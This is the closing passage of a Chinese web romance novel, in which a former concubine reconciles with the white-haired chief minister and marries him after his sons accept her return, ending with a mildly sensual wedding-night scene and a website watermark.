她不自觉抗拒,身前人却没了动作,良久后耳边传来一声叹息。 “可心是嫌为夫老了?” 徐可心枕在男人怀里,正不知如何是好时,闻言霎时抬眸,眸色错愕,“大人为何如此说?” 男人揽着她的腰,只同过去那般,握住她垂在身侧的手,长指伸进她的指缝间,同她十指相扣。 “为夫如今白发,而可心依旧年轻昳丽,的确不相配,可心厌恶为夫也理所当然。” 男人缓声低语,一字一句却好似刀子一般,扎在她的心上。 “妾身何曾说过厌恶大人?这分明是无稽之谈。”徐可心紧拧着眉,眉眼间的窘迫一扫而空,被不满取代。 她喜欢这人来不及呢,又怎么可能会厌恶他。 男人闻言,只无声看着她,轻声道,“若并不厌恶为夫,为何足足过了三年,可心才愿回京。” “可心远走他乡,在外漂泊数年,离开时又可曾想过,为夫是否会惦念可心的安危。” 一句话落了地,徐可心也没了声音,忽得喉咙哽咽,好似有石头压在上面一般,让她难以呼吸。 她迟迟不开口,林远舟也未为难她,只揽住她的肩膀,将她抱在怀里,吻上她的头顶。 “为夫本想和可心白头到老,但可心走后,为夫太过思念可心,才白了头发。” “这几年,为夫每日只能守着听雨度日,期望可心早日还家。” “可心如今既已知晓了京外的景色,也舍不得为夫,今后只留在为夫身边,勿要再远行了……” 男人抱着她,轻语不停,她整个人蜷缩在男人怀中,坐在他的腿上,被他完完全全抱在怀里。 饶是过去数年,再见面,男人依旧一如往昔,疼爱她、哄着她,而非她所想那般,怨她、恨她。 早在听说男人那日重病时,她的魂也早就飘走了,心存死志,满心想的都是见到他的最后一面后,陪葬于他。 她甚至愿意陪大人下黄泉,为何仍要惦念心上的纠结不放,不敢面对大人。 徐可心垂下眉眼,复又埋首在男人怀里,小心地袖子擦了擦眼尾的泪水,含糊地嗯了一声。 她甚至不敢开口讲话,因为喉咙哽咽,蕴着她的哭声,只要一开口,就会被男人发现。 看着男人的满头白发,她不想在男人面前哭了,也不想再让大人为她担心。 她只揽住男人的脖颈,在他的注视,含糊地嗯了一声。 雅间门外,王小姐害怕她被惩处,一直站在门外不愿离开,孙玉景见状,也不想走。 事情是他亲儿子挑起来的,又涉及林大人的家事,孙大人哪怕想走,也不敢走,只能站在门外,恨不得再扇孽子一巴掌。 过了良久,雅间内才传来脚步声,房门被推开,身着官服的白发男人缓步走出,几人眼观鼻鼻观心,纷纷行礼,却未敢说什么。 见男人向楼下走去,孙大人连忙跟了上去。 王小姐也忙不迭走入雅间,“徐娘子!首辅大人可惩处于你?是训斥你了,还是打骂你了?可受伤?” 她眸色担忧,徐可心垂着头,用帕子掩着红肿的下唇,闻言微微摇头,“大人未曾惩处我。” 她眸色躲闪,王小姐以为她被吓傻了,眉眼霎时露出几分心疼。 “你瞧她这副样子,哪里像是被惩处了?我看她高兴得很。”孙玉景站在一旁直白道。 王小姐闻言,气得火上心头,“竟在这里说风凉话,你走,看见你就心烦。” 孙玉景接连被呵斥,也恼了几分,但他却未离开,像只狗皮膏药一样站在王小姐身侧。 他的未婚妻虽得理不饶人,心却是好的,她愿意骂就骂罢。 这人既然训斥他,说明把他当自家人,不然她怎么不骂别人,只骂他孙玉景。 见他一会儿恼怒,一会儿露出笑模样,徐可心和王小姐对视一眼,都觉得他好似中邪了。 从茶馆回来,她刚进门,却见林怀瑾站在她房中,只一见到她,就快步迎上前。 “姨娘……”林怀瑾不受控地抱住她,面色透着明显的不安,“夜里醉酒是怀瑾的不是,姨娘不要舍弃怀瑾。” 徐可心不明白他受了什么刺激,眸色困惑,“谁又同你说了什么?还是你又从旁人那里打听到什么?” 林怀瑾站在她面前,闻言垂下头,低声道,“怀瑾已经知晓,姨娘方才见了父亲。” 徐可心紧抿着唇,只觉他太过疑神疑鬼,方要出言安慰他,门外脚步声传来,一道高大的人影走入房中,毫不犹豫抬手,一拳打在林怀瑾的脸上。 “你就是奸夫?林怀瑾,你还真会算计。” 林昭明未收力,林怀瑾的脸颊霎时涨红,饶是被打,也未露出半分恼怒,只抚着侧脸,可怜兮兮地埋首在她怀里,头也不抬闷声道,“姨娘,怀瑾好疼。” 他面色可怜,但真疼还是假疼,只有他自己知晓。 未想到林怀瑾当着他的面,同女人献殷勤,林昭明眉头紧拧,手背也一齐绷紧。 眼见林昭明还要打他长兄,徐可心微微蹙眉,扯着林怀瑾的袖子,将他拽到身后,“他不是奸夫。” “你别打他了。” “你竟护着他?”林昭明眸色谴责。 眼见兄弟两人愈发仇视,她长叹一口气,轻声道,“我不日便会回府,同大人成婚。” 话音一落,身旁兄弟二人都没了声音。 不过与她料想中他们兄弟二人反对的模样不同,他们无声看着她,虽神色不同,一人拧眉,一人垂眸,但无一例外,两人都接受这个事实,好似早就料到有这一天。 林怀瑾沉默无言,还是林昭明先道,“你想嫁便嫁罢。” “只留在林府,不会离开就成。”他眸色平静,彻底妥协一般。 林怀瑾站在她身侧,只从身后抱住她,头枕着她的肩膀,“既嫁入林府,往后只做怀瑾的母亲,不得再忽视怀瑾了。” 听着两人的话,她的心上也复杂万分,良久才轻轻嗯了一声。 他们二人是大人的儿子,能得到他们的同意和认可自然是好的…… 这三年,林府缺了女主人,京中一众权贵惦念着和林大人结亲,时不时上门拜访,想要将家中女眷引荐给林首辅,可惜这人未收下一人。 分明那时赵大人献殷勤时,只把人送到府上,大人就收了徐小姐为妾,等到他们送人时,却好似难如登天一般。 一众官员不禁纷纷前去向赵大人取经,赵朗得知来意,未敢告诉他们当初之事是场乌龙,他也不知晓大人为何收徐小姐为妾。 众人未打通门路,仍想着另寻良机。 直到这日,林府的婚柬被递到手上,看着红纸上的烫金大字,他们才彻底死了心。 没过半日,当朝首辅林远舟不日要成婚的消息就传遍整个京中。 大婚当日, 百官集聚。 除非病入膏肓,实在难以走动,否则只要能伸胳膊抬脚的,都前来林府,想要沾沾林府的喜气。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第142章【完】 当日,迎亲的车夫们抬着一架空轿子,在京城游行,只将整个京城的所有街道全都走了一遍,让全京城的人知晓,林府今日有喜事。 京中众人为了沾沾林大人的喜气,都跟在花轿后面游行,忽然不知道谁喊了一句前面在散钱,众人霎时蜂拥上前。 “别抢!别抢!都有!” 林府的丫鬟们跟在花轿之后,只拿出篮子中的堆积的银钱和金粒,分发给随行的百姓。 散财积德,丫鬟们边分发金银,边道,“今日是首辅大人与徐长小姐的婚事,徐长小姐宅心仁厚,惦念城中百姓,遂命我们于城中布施钱财。” 众人得了钱财,回去后只将此事讲了出去,一传十,十传百,未前去的人纷纷懊恼。 没过半日,林夫人乐善好施的美名便传了出去。 林府婚宴,百官齐聚。 众人携礼前来,送上门的贺礼堆积在库房,没过多久就装满了整个屋子,还未等过夜,就被下人们连同礼账一齐送到听雨阁。 听雨阁的几个空房早就被聘礼和嫁妆装满,这成箱的贺礼也只能暂且安置在院中,十几个丫鬟聚集在院内,逐一清点贺礼,饶是如此,也累得满头热汗,眼见到了吉时也未清点完。 后院忙得热火朝天,宴席上,一众权贵落座,手持杯盏,纷纷看向从远处走来的女人。 那人戴着红盖头,身着嫁衣,扶着丫鬟的手,缓缓向堂前走来,同过去一般,每一步都走得格外小心,在场众人的目光一齐落在她身上,却未再同之前那般轻视她。 她不再是官妓,也不再是人人都能唾弃的存在,而是林府的女主人,当朝首辅林大人林远舟的夫人。 以前她做妾时,尚且有人苛责她一句,今日之后,谁若再不开眼,存心找不自在,头也不必留着了。 迎着文武百官的目光,女人走至堂前。 宴席之前,白发男人身着婚服,头戴金冠,目光一直停留在女人身上,眉眼间透着众人不曾见过的温柔,只在女人走近的瞬间,抬手握住她的手,扶住她的身子。 在被男人扶住的瞬间,女人的身子也肉眼可见地放松下来,无意识地向男人靠了半步,极为依赖地跟在他身侧,同他向堂前走去。 两人彼此依赖,好似天地间只有他们二人,再也融不下其他人。 众人暗暗感慨,这林夫人的确得大人喜欢,而站在堂内的林家兄弟二人,面色各异,不仅无半分喜色,反而格外难看。 不过他们再不喜,再不愿,他们也只能妥协。 只要她仍留在京中,仍同他们长久相伴在林府,那就足够了。 只困于林府之中,受他们豢养,永远也别离开他们。 “一拜天地!” “二拜高堂!” “夫妻对拜!” 女人挪着步子,缓慢行礼,林家父子三人的目光,一齐落在她身上。 以情为网,以爱为笼,令她心甘情愿地留在这处脏污之地,不再想着逃脱,做林府唯一的囚雀。 入夜。 徐可心坐在房中,双手交叠放在腿上,只维持这个姿势,既忐忑又期待地等他的夫君前来。 一张大红“囍”字贴在正对门的位置,烛光落在上面,泛着一层柔和的光晕。 不知过了多久,脚步声从门外传来,徐可心本稍稍松懈的思绪霎时紧绷,攥住袖子的手不自觉用力,只把衣裙攥得微微褶皱。 “大人。” 门外传来丫鬟们的行礼声,房门被吱呀一声推开,沉稳的脚步声落在房中,逐渐临近。 房门复又被阖上,她的心也随着脚步的靠近,跳得愈发快,直到脚步声停在她面前时,徐可心的呼吸也变得极为缓慢,好似停住了一般。 只透过红布,窥探面前之人,想要知晓,男人此时是否同她一样,也紧张万分。 “可心。”男人轻唤她的名字。 徐可心呼吸一滞,下意识唤了一声大人。 男人站在她面前,之后未语一言,迟迟不掀盖头,她紧张得厉害,也愈发不安,顾不得礼节,抬手想要去寻男人的手,只刚有所动作,就被紧紧攥住。 “娘子,这般急切?”男人轻叹的声音在身前响起,莫名透着几分调笑的意味。 徐可心隐在盖头的面色倏地一红,想要抽回自己的手,可攥住她的手格外用力,让她根本难以收回。 取笑她,又不放手,如此恶劣,徐可心微微喘息,心也跳得快了几分,分不清是恼怒,还是窘迫,可无论哪一种,于男人而言,都分外惹人怜。 察觉到男人故意在逗弄她,徐可心不满地唤了一声大人,话音刚落,男人便追问,“可心应如何唤为夫?” 徐可心话语一噎,一时未反应过来,以为男人还在取笑她,犹豫片刻,含糊地唤了一声父亲。 父亲二字落了地,身前人没了声音,良久后传来一声轻叹。 “知晓可心依赖为夫,可今日是为夫与可心大婚的日子,为夫只想听可心唤为夫相公。” 男人言辞委婉,透着几分不解和纵容。 知晓自己会错了意,徐可心顿时浑身不自在,脸也烫红得好似被火烧了一般,还未等她开口,男人没有征兆俯身,只揽住她的腰,另外一只手同她十指相扣,隔着红盖头,直接吻上她的唇。 “大人……” 徐可心身子僵硬,只顷刻之间,她就被男人抱在腿上,被迫承受他的吻。 男人未掀盖头,视线朦胧,徐可心看不见男人的神情,只能听到耳边略微急促的喘息。 唇瓣被重重研磨,湿热占据她的齿间,吻得格外重,却又格外温柔缱眷,只不紧不慢蚕食她的理智。 她被吻得浑身无力,丝毫未注意到,男人的手早早扯住她的衣带。 男人吻得很深,不断牵扯她的思绪,以至于等到身子暴露在外,微微泛冷时,她才倏地回神,费力地推开男人,透过红盖头间的空隙下看,却见她衣衫大开,整个人衣衫不整地坐在男人怀里。 而对方却衣冠整齐,无半分凌乱。 盖头还未掀,她却失了衣衫,这下不单是脸,徐可心整个人都涨红得同虾米一般,一把推开男人,蜷缩在床里侧。 她身子慌乱,软被下的红枣和核桃也来回滚动,硌得徐可心双腿微疼。 她姿态凌乱,整个人衣衫不整地蜷缩在床里侧,罪魁祸首却执起床前的金秤杆,攥住她的腿弯,将她拽回身下。 盖头被缓缓掀开,徐可心面上的慌乱也彻底暴露在男人面前。 却见男人衣冠整齐,好似不知晓自己有多下流一般,无奈笑道,“娘子,今夜是我们二人的洞房花烛夜,不必如此谨慎。” 他本就容貌俊美,一头白发更显他如神似仙,可他今日偏偏却穿了一身婚服,反倒为他增了几分人情味,好似落身红尘的仙人。 徐可心紧攥着被子,本来被男人逗弄一番,窘迫万分,可眼下对上他满是笑意的目光,徐可心不自觉眸色一怔,直直看着他。 林远舟本来还想再调戏一番,等看到他家娘子面上的痴迷时,他眸中笑意一顿,真心实意地轻轻叹息。 “夫人,春宵一刻值千金,不可荒废。” 男人说完,只揽住他心中的明月,俯身吻了上去。 “大人……”徐可心微微惊呼,还未等彻底回神,就被彻底地困在情欲之中。 从今往后,这人只是他一人的可心, 是他林远舟明媒正娶的夫人。 —完—魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m